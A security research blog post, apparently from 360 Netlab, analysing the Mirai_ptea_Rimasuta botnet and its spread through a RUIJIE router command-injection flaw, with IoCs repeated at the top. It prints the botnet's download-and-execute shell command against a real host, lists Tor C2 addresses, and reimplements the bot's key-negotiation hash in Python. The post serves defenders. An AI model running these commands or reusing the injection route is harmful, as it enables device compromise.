http://2[.56.244.157/IAqecfTrQwQF
http://2[.56.244.157/bwgFHtUOGJcv
http://2[.56.244.121/KaoJHwKMBiAJ
http://2[.56.244.157/yhZyIAclbmhD
http://2[.56.244.157/PszBtRNfnzBO
http://2[.56.244.157/SywXQrWdNIrM
http://2[.56.244.157/awfLWTOmgxTX
http://2[.56.244.157/zEkFejmPQeVR
http://91[.211.91.56/mIoCinspKSkE
http://91[.211.89.242/vkvTxquhFCGV
http://91[.211.88.220/OOGRLHgUnshR




Sample MD5


b01b0bc32469f11a47d6e54eef8c7ffb
1a5329dcda994df16e6896f870f04f5e
344df0446b8b40588ca5e72ad3ef7217
777792d3df3f1850fa667b4afbb2cfc1
a6ddfec272fbf867a4cf3c154eaf47aa
904cbd20a5996125f91f9c7c02ca9bbd




C2


uf7ejrtdd6vvrsobk6rtsuicwogqyf6g72s55qop2kvpt7r4wfui6fqd.onion:20346
wrabajewouypwxdsq4rxn7heb3k53ihoogik46ji6o7gj65yeo33reqd.onion:32288
t5pmcdgiipaznhuexh2usvojfixqzudnizgzeyihsyu7e5rehj7bfkad.onion:17774
rg7t465nvnnzugdbdqdg3yf2pypssynb4wxavgghb4me2lecnw23ivyd.onion:6000
vmdm5jrmksizpt6f7trsno6od7xcfs6hzywah46eaju72jkfvqbqdcqd.onion:27644
pnjc66nasxdomwlyqo32d4ft43pooo7s4yuom3gn2gr5bmcpw7lgq4qd.onion:4409




Reporter


gmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion:6667
gmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion:6668
gmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion:6669




Appendix


----------------------------------------------------------------------
RAW packet
#00000048  99 9f 29 9c 9f 99 72 53  4b 7f e9 08 7c 9b         ..)...rS K...|.
# head      99 9f
# hash      29 9c 9f 99
# content   72 53  4b 7f e9 08 7c 9b
----------------------------------------------------------------------
def hash_calc(buf,len):
    cnt=len>>2
    cnt2=len&3
    sum=len
    
    for i in range(0,cnt*4,4):
        tmp=((ord(buf[i+1])<<8)+ord(buf[i])+sum)
        tmp2=(tmp^(((ord(buf[i+3])<<8)+ord(buf[i+2]))<<11)&0xffffffff)^((tmp<<16)&0xffffffff)
        sum=(tmp2+(tmp2>>11))&0xffffffff
        
    if cnt2==3:
       tmp=((ord(buf[cnt*4+1])<<8) +ord(buf[cnt*4])+sum)&0xffffffff
       tmp2=tmp^((ord(buf[cnt*4+2])<<18)&0xffffffff)^((tmp<<16)&0xffffffff)
       sum=(tmp2+(tmp2>>11))&0xffffffff
       
    elif cnt2==2:
        tmp=((ord(buf[cnt*4+1])<<8) +ord(buf[cnt*4])+sum)&0xffffffff
        sum=(tmp^(tmp<<11)&0xffffffff)+((tmp^(tmp<<11)&0xffffffff)>>17)
        
    elif cnt2==1:
        tmp=(((ord(buf[cnt*4])+sum)<<10)&0xffffffff)^ (ord(buf[cnt*4])+sum) 
        sum=(tmp+(tmp>>1))&0xffffffff
    
    else:
        pass
            
    tmp3=(sum^(sum*8)&0xffffffff)+((sum^(8*sum)&0xffffffff)>>5)
    tmp4=(tmp3^(16*tmp3)&0xffffffff)+((tmp3^(16*tmp3)&0xffffffff)>>17)
    final=(tmp4^(tmp4<<25)&0xffffffff)+((tmp4^(tmp4<<25)&0xffffffff)>>6)

    return final&0xffffffff

content='''
72 53  4b 7f e9 08 7c 9b
'''.replace(' ', '').replace('\n','').decode('hex')
print hex(hash_calc(content,len(content)))


{"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# Overview\nIn July 2021 we blogged about [Mirai_ptea](__GHOST_URL__/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/), a botnet spreading through an undisclosed vulnerability in KGUARD DVR. At first we thought it was a short-lived botnet that would soon disappear so we just gave it a generic name. But clearly we underestimated the group behind this family, which has in fact been very active and was recently observed to be spreading using a 0day vulnerability in the [RUIJIE NBR700](https://www.ruijienetworks.com/) series routers.\n\nIt is interesting to note that the author included this paragraph in one of the updated samples.\n\n`-_- you guys didnt pick up on the name? really???? its ``RI-MA-SU-TA``. not MIRAI_PTEA this is dumb name.`\n\nMirai_ptea_Rimasuta now has builtin mechanism to check if the running environment is a sandbox, it also encrypts the network traffic to counter the network level detection.\n\n## Timeline\n- 2021-06-10 Note another mirai variant, mirai_aurora, first exploited this RUIJIE vulnerability to spread\n- 2021-09-05 We noticed Mirai_ptea_Rimasuta  starting to use exploit\n- 2021-09-06 We notified the vendor of the vulnerability\n- 2021-09-09 The vendor confirmed the existence of the vulnerability and informed that it has [stopped maintaining](https://www.ruijie.com.cn/fw/xw/86338/) this version of the device, and the manufacturer believes that it can be mitigated by changing the default password, so it does not intend to provide a new patch to fix the vulnerability.\n\n# Vulnerability Analysis\n### Vulnerability Type\nCommand injection vulnerability\n\n### Vulnerability details\n\nTo avoid abuse, we are not disclosing the full details. The description in this section includes only part of the vulnerability exploitation process.\n\nAn interface named `wget_test.asp` test exists on the RUJIE router device, which accepts URLs passed in from the page for wget testing (the testing function is eventually implemented through a script named `wget_test.sh`), but it does not perform special character checks on the incoming parameters, leading to command injection. Note: The interface requires login authentication. However, the RUIJIE router has default weak password, so an attacker can combine these 2 factors to launch an attack. \n\nAccording to our investigation, there are still great number of online devices having this problem.\n\n![ruijie.wget.cmd.ij](__GHOST_URL__/content/images/2021/09/ruijie.wget.cmd.ij.png)\n\nwhere `wget_test.sh` reads as follows:\n```\n#!/bin/sh\n\nwhile [ 1 ]\ndo\n\twget -O /dev/null $1;\n\tsleep 1;\ndone\n```\n\n### Known affected device versions\n```\nNBR1600GDX9    Release(180516)\nRGNBR700GDX5   Release(180202)\nRGNBR700GDX5   Release(180314)\nRGNBR700GDX9   Release(180720)\nRGNBR700GWDX5  Release(180314)\nRGNBR700GWDX9  Release(180613)\nRGNBR700GWDX9  Release(180720)\nRGNBR700GWDX9  Release(191023)\nRGNBR900GA1C2  Release(170809)\n```\n\n### Exploit payload analysis\nSome of the vulnerabilities exploit Payload as follows:\n![xxxpppasdfadfkafjadf](__GHOST_URL__/content/images/2021/09/xxxpppasdfadfkafjadf.png)\n\nThe content of the file corresponding to the URL in the above image is shown below. At first glance, it looks a bit strange because it uses many empty variables( to confuse security analysts?)\n```\nv=.rib;\ncd ${ENrjHs}/t${hSQGxia}mp;\nwg${qyZuBCTFDSMnw}et http://2[.56.244.121/gkTHLPZAAsmP -O ${v};\nchm${mBSVmBhyrCQcZ}od +x ${v};\n./${v};\n```\nWhen these variables are removed, its function is intuitive: download the sample and execute it.\n```\n\nv=.rib;\ncd /tmp;\nwget http://2.56.244.121/gkTHLPZAAsmP -O ${v};\nchmod +x ${v};\n./${v};\n```\n\n# Botnet size\nFrom our data horizon, the active Bot source IP trends for this botnet are as follows:\n![rimasuta.bot.ip.line](__GHOST_URL__/content/images/2021/09/rimasuta.bot.ip.line.png)\n\nBot source IPs are geographically distributed as follows:\n![rimasuta.bot.ip.geo-1](__GHOST_URL__/content/images/2021/09/rimasuta.bot.ip.geo-1.png)\n\n\n# Sample Analysis\nThe basic information of the ARM sample is shown as follows.\n```\nMD5:b01b0bc32469f11a47d6e54eef8c7ffb\nELF 32-bit LSB executable, ARM, version 1, statically linked, stripped\nPacker:No\nLib:uclibc\n```\n\nMirai_ptea_Rimasuta is a Mirai variant, with redesigned encryption algorithm and C2 communication protocol. In terms of encryption algorithm, Mirai_ptea_Rimasuta uses TEA algorithm instead of Mirai's simple XOR encryption, and a lot of sensitive resource information such as C2, Tor Proxy, etc have been encrypted; in terms of C2 communication, Mirai_ptea_Rimasuta uses Tor Proxy to indirectly establish communication with C2. For more details on this part, please refer to our [previous Blog](__GHOST_URL__/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/), and let’s just look at some changes in this active new sample.\n\n### 0x1: TEA key\n\nThis Mirai_ptea_Rimasuta sample hardcod 2 sets of TEA keys, one for encrypting & decrypting sensitive resources and one for encrypting & decrypting network traffic, to distinguish the former we call it Res_teakey and the latter Net_teakey.\n\n`Res_teakey` is shown as follows.\n<img src=\"__GHOST_URL__/content/images/2021/09/masu_reskey.png\"  width=\"860px\" />\n\nPart of the resource information is decrypted as shown below, note the content of index c. `This WEek on NeTLAb 360 bOTnet oPERATOR lEaRNS CHacha SliDe`\n\n```\nindex 0, value = /proc/\nindex 1, value = /exe\nindex 2, value = /fd\nindex 3, value = /proc/net/tcp\nindex 4, value = /cmdline\nindex 5, value = /status\nindex 6, value = /maps\nindex 7, value = /dev\nindex 8, value = /dev/misc\nindex 9, value = /dev/misc/watchdog\nindex a, value = /dev/watchdog\nindex b, value = watchdog\nindex c, value = This WEek on NeTLAb 360 bOTnet oPERATOR lEaRNS CHacha SliDe\n```\n\n(as far as we know, none of us know how to dance chacha…yet…)\n\n`Net_teakey` is shown below\n<img src=\"__GHOST_URL__/content/images/2021/09/masu_netkey.png\"  width=\"860px\" />\nIt is not used in practice, it just acts as a placeholder and Mirai_ptea_Rimasuta dynamically generates a new Net_teakey at runtime, which will be discussed in the Network Protocols section below.\n\n\n\n### 0x2: Sandbox detection\n\nA large number of sandboxes or simulators process samples in a fixed path and name them with MD5 or random strings. Mirai_ptea_Rimasuta takes this cue and checks the path & filename of the sample, and only after it meets the requirements will it go ahead and run, otherwise it exits.\n\n![masu_check](__GHOST_URL__/content/images/2021/09/masu_check.png)\n\nThe following shows legit \"run paths\"\n```\n./.rib\n/XXriXX\n```\n\n### 0x3: C2 variation\nMirai_ptea_Rimasuta uses the following code snippet to get the Tor C2, which shows that the C2 table entry in the encrypted resource is 0xD, and there are 6 C2s (random mod 6).\n\n<img src=\"__GHOST_URL__/content/images/2021/09/masu_c2.png\"  width=\"860px\" />\n\nThe encrypted information in 0xD is decrypted as follows.\n```\nindex d, value = uf7ejrtdd6vvrsobk6rtsuicwogqyf6g72s55qop2kvpt7r4wfui6fqdwrabajewouypwxdsq4rxn7heb3k53ihoogik46ji6o7gj65yeo33reqdt5pmcdgiipaznhuexh2usvojfixqzudnizgzeyihsyu7e5rehj7bfkadrg7t465nvnnzugdbdqdg3yf2pypssynb4wxavgghb4me2lecnw23ivydvmdm5jrmksizpt6f7trsno6od7xcfs6hzywah46eaju72jkfvqbqdcqdpnjc66nasxdomwlyqo32d4ft43pooo7s4yuom3gn2gr5bmcpw7lgq4qd.onion\n```\nAfter excluding the \".onion\" at the end of the above string and splitting it by length 56, then splicing it with the .onion string at the end, we get the following 6 C2s, which have a one-to-one correspondence with the port of the hard-coded 6 in the sample.\n```\nuf7ejrtdd6vvrsobk6rtsuicwogqyf6g72s55qop2kvpt7r4wfui6fqd.onion:20346\nwrabajewouypwxdsq4rxn7heb3k53ihoogik46ji6o7gj65yeo33reqd.onion:32288\nt5pmcdgiipaznhuexh2usvojfixqzudnizgzeyihsyu7e5rehj7bfkad.onion:17774\nrg7t465nvnnzugdbdqdg3yf2pypssynb4wxavgghb4me2lecnw23ivyd.onion:6000\nvmdm5jrmksizpt6f7trsno6od7xcfs6hzywah46eaju72jkfvqbqdcqd.onion:27644\npnjc66nasxdomwlyqo32d4ft43pooo7s4yuom3gn2gr5bmcpw7lgq4qd.onion:4409\n```\n\n### 0x4: Network protocol change \n\nThe active Mirai_ptea_Rimasuta sample also starts to encrypt the network traffic using the TEA algorithm, and although there is a hard-coded set of keys Net_teakey in the sample, it is not used in practice, but a new key dynamically generated through negotiation with the C2s. \n\nThe whole communication process can be divided into 3 steps as follows\n\nStage 1. communication with C2 is established via TOR PROXY \nStage 2. TEA key negotiation\nStage 3. receive the command from C2, note that the traffic is encrypted at this time\n\nThe focus is on the key negotiation in the second step, we will take the actual data traffic generated in the following figure as an example, and we will discuss step by step how Bot & C2 get the same key.\n\n<img src=\"__GHOST_URL__/content/images/2021/09/masu_packet.png\"  width=\"860px\" />\n\nStage1 is the typical process of establishing communication with TOR C2. Starting from Stage2, Mirai_ptea_Rimasuta's packets consist of 3 parts: `head(2bytes), hash(4bytes), and content(Nbytes)`, where the value of head is fixed in a session and the value of hash is calculated by the hash_calc function for content in the appendix.\n\nThe whole negotiation process is shown as follows.\n\n1. Bot randomly generates 12 characters and uses the hash_calc algorithm in the appendix to get the value of Net_teakey[0]. At this time Bot has Net_teakey[0], C2 does not know the value of task Net_teakey.\n<img src=\"__GHOST_URL__/content/images/2021/09/masu_ag1.png\"  width=\"860px\" />\n   \n\n2. Bot randomizes 8 characters to form content, uses hash_calc to calculate content to get hash, and puts the low 16 bits of the hash value into head, then sends this packet of 14 bytes long to C2, and finally calculates the whole packet by hash_calc to get Net_teakey[2] value, at this time Bot has Net_teakey[0,2] and C2 has Net_teakey[2].\n<img src=\"__GHOST_URL__/content/images/2021/09/masu_ag2.png\"  width=\"860px\" />\n   \n\n3. C2 returns the packet to Bot, and the value of the hash is used in step \n\n4.  After receiving the packet back from C2, Bot forms the content with local IP, random characters in step 1, encrypts it using TEA algorithm (Res_teakey is the key), constructs a packet of 32 bytes in length and sends it to C2, where the value of hash is Net_teakey[1], and finally calculates the C2 hash from step 3 with its own Bot hash is calculated by hash_calc, to be Net_teakey[3]. At this point, Bot already knows the 4 values in Net_teakey, and the order of acquisition is [0,2,1,3].\n<img src=\"__GHOST_URL__/content/images/2021/09/masu_ag4.png\"  width=\"860px\" />\n   \n\n5.  After C2 receives Bot's packet, it first gets Net_teakey[1], then gets Net_teakey[3] by hash_calc, and finally decrypts content to get the 12 strings used by Bot in step 1, and then gets Net_teakey[0] by hash_calc. At this point, C2 also knows the 4 values in Net_teakey, which are obtained in the order of [2,1,3,0].\n\nAt this point, the negotiation process ends, and the subsequent communication between Bot & C2 uses the TEA algorithm to encrypt & decrypt the key for Net_teakey.\n<img src=\"__GHOST_URL__/content/images/2021/09/masu_netenc.png\"  width=\"860px\" />\n\n### 0x5:  Information gathering function\n\nThis active Mirai_ptea_Rimasuta sample monitors the TCP network connections of the compromised device and uploads the connection details that meet specific requirements to the Reporter. we believe that the authors of Mirai_ptea_Rimasuta will rely on this part of its collected information for his own data mining.\n\nThe specific implementation process can be divided into the following steps.\n\n1. Get the inode information of the current TCP network connection via /proc/net/tcp, as well as the state State information of the network connection\n\n2. Get the socket inode from /proc/[pid]/fd, match it with the inode in step 1, and get the corresponding process.\n\n3. Get the cmdline information of the process in step 2 from /proc/[pid]/cmdline\n\n4. If the state of the network connection is \"established\" and there is a \"wget\" string in the cmdline, the cmdline of the process and the remote address & port of the network communication will be reported to the Reporter.\n\n5. If the State of the network connection is \"listen\" and the local port is one of \"3451,8888,17872,9137\", and a process has established a connection with this process, the cmdline of this process and the remote address & port of the network communication will be reported to Reporter.\n\n6. If the state of the network connection is neither \"established\" nor \"listen\", the cmdline of the process and the remote address & port of the network communication will be reported to Reporter.\n   \nThe following code snippet is used to establish communication with the Reporter, where the Reporter decrypted the contents and get `gmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion`.\n![masu_report](__GHOST_URL__/content/images/2021/09/masu_report.png)\n\n\nAfter successfully establishing communication with the Reporter, the message to be reported is constructed with the following code snippet.\n<img src=\"__GHOST_URL__/content/images/2021/09/masu_repdata.png\"  width=\"860px\" />\n\n\nThe actual Report packet generated, and the meaning of the fields, is shown below.\n\n```\nRAW packet\n00000000: 5A A5 90 D9 F9 37 B4 D6  00 AC 1E 01 09 3A 77 67  Z....7.......:wg\n00000010: 65 74 20 2D 71 20 2D 4F  20 2D 20 68 74 74 70 3A  et -q -O - http:\n00000020: 2F 2F 69 63 6D 70 2E 64  76 72 69 6E 73 69 64 65  //icmp.dvrinside\n00000030: 2E 63 6F 6D 3A 39 30 30  30 2F 47 65 74 50 75 62  .com:9000/GetPub\n00000040: 6C 69 63 4E 61 6D 65 20                           licName \n----------------------------------------------------------------------------\nField parsing\n5A A5\t\t\t----> magic, 2bytes\n90 D9 F9 37\t\t----> remote ip, 4 bytes\nB4 D6\t\t\t----> remote port, 2 bytes\n00\t\t\t\t----> hardcode, 1 byte\nAC 1E 01 09\t\t----> local ip\n3A\t\t\t\t----> length of \"cmdline\"\n77 67 ..to end  ----> cmdline \n```\n\n\n# Recommendation\n\nWe recommend RUIJIE router users to check and update the firmware system in time. Set a complex login password for the Web management interface.\n\n\n# Suggestions\nWe recommend that users check and update their device firmwares in a timely manner, and check whether there are default accounts that should be disabled.\n\nWe recommend the following IoCs to be monitored and blocked on the networks where it is applicable.\n\n# Contact us\nReaders are always welcomed to reach us on [Twitter](https://twitter.com/360Netlab) or email us to netlab at 360 dot cn.\n\n# IoC\n### Downloader\n\n```\nhttp://2[.56.244.121/tuPuSSbAxXIW\nhttp://2[.56.244.121/gkTHLPZAAsmP\nhttp://2[.56.244.121/VqIXrFxAGpPD\nhttp://2[.56.244.157/qSdYKoxbZakW\nhttp://2[.56.244.157/iZXPWXshhRRt\nhttp://2[.56.244.157/vnlWcwcBunwk\nhttp://2[.56.244.157/IAqecfTrQwQF\nhttp://2[.56.244.157/bwgFHtUOGJcv\nhttp://2[.56.244.121/KaoJHwKMBiAJ\nhttp://2[.56.244.157/yhZyIAclbmhD\nhttp://2[.56.244.157/PszBtRNfnzBO\nhttp://2[.56.244.157/SywXQrWdNIrM\nhttp://2[.56.244.157/awfLWTOmgxTX\nhttp://2[.56.244.157/zEkFejmPQeVR\nhttp://91[.211.91.56/mIoCinspKSkE\nhttp://91[.211.89.242/vkvTxquhFCGV\nhttp://91[.211.88.220/OOGRLHgUnshR\n```\n\n### Sample MD5\n\n```\nb01b0bc32469f11a47d6e54eef8c7ffb\n1a5329dcda994df16e6896f870f04f5e\n344df0446b8b40588ca5e72ad3ef7217\n777792d3df3f1850fa667b4afbb2cfc1\na6ddfec272fbf867a4cf3c154eaf47aa\n904cbd20a5996125f91f9c7c02ca9bbd\n```\n\n### C2\n```\nuf7ejrtdd6vvrsobk6rtsuicwogqyf6g72s55qop2kvpt7r4wfui6fqd.onion:20346\nwrabajewouypwxdsq4rxn7heb3k53ihoogik46ji6o7gj65yeo33reqd.onion:32288\nt5pmcdgiipaznhuexh2usvojfixqzudnizgzeyihsyu7e5rehj7bfkad.onion:17774\nrg7t465nvnnzugdbdqdg3yf2pypssynb4wxavgghb4me2lecnw23ivyd.onion:6000\nvmdm5jrmksizpt6f7trsno6od7xcfs6hzywah46eaju72jkfvqbqdcqd.onion:27644\npnjc66nasxdomwlyqo32d4ft43pooo7s4yuom3gn2gr5bmcpw7lgq4qd.onion:4409\n```\n\n### Reporter\n```\ngmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion:6667\ngmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion:6668\ngmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion:6669\n```\n\n### Appendix\n```\n----------------------------------------------------------------------\nRAW packet\n#00000048  99 9f 29 9c 9f 99 72 53  4b 7f e9 08 7c 9b         ..)...rS K...|.\n# head      99 9f\n# hash      29 9c 9f 99\n# content   72 53  4b 7f e9 08 7c 9b\n----------------------------------------------------------------------\ndef hash_calc(buf,len):\n    cnt=len>>2\n    cnt2=len&3\n    sum=len\n    \n    for i in range(0,cnt*4,4):\n        tmp=((ord(buf[i+1])<<8)+ord(buf[i])+sum)\n        tmp2=(tmp^(((ord(buf[i+3])<<8)+ord(buf[i+2]))<<11)&0xffffffff)^((tmp<<16)&0xffffffff)\n        sum=(tmp2+(tmp2>>11))&0xffffffff\n        \n    if cnt2==3:\n       tmp=((ord(buf[cnt*4+1])<<8) +ord(buf[cnt*4])+sum)&0xffffffff\n       tmp2=tmp^((ord(buf[cnt*4+2])<<18)&0xffffffff)^((tmp<<16)&0xffffffff)\n       sum=(tmp2+(tmp2>>11))&0xffffffff\n       \n    elif cnt2==2:\n        tmp=((ord(buf[cnt*4+1])<<8) +ord(buf[cnt*4])+sum)&0xffffffff\n        sum=(tmp^(tmp<<11)&0xffffffff)+((tmp^(tmp<<11)&0xffffffff)>>17)\n        \n    elif cnt2==1:\n        tmp=(((ord(buf[cnt*4])+sum)<<10)&0xffffffff)^ (ord(buf[cnt*4])+sum) \n        sum=(tmp+(tmp>>1))&0xffffffff\n    \n    else:\n        pass\n            \n    tmp3=(sum^(sum*8)&0xffffffff)+((sum^(8*sum)&0xffffffff)>>5)\n    tmp4=(tmp3^(16*tmp3)&0xffffffff)+((tmp3^(16*tmp3)&0xffffffff)>>17)\n    final=(tmp4^(tmp4<<25)&0xffffffff)+((tmp4^(tmp4<<25)&0xffffffff)>>6)\n\n    return final&0xffffffff\n\ncontent='''\n72 53  4b 7f e9 08 7c 9b\n'''.replace(' ', '').replace('\\n','').decode('hex')\nprint hex(hash_calc(content,len(content)))\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"}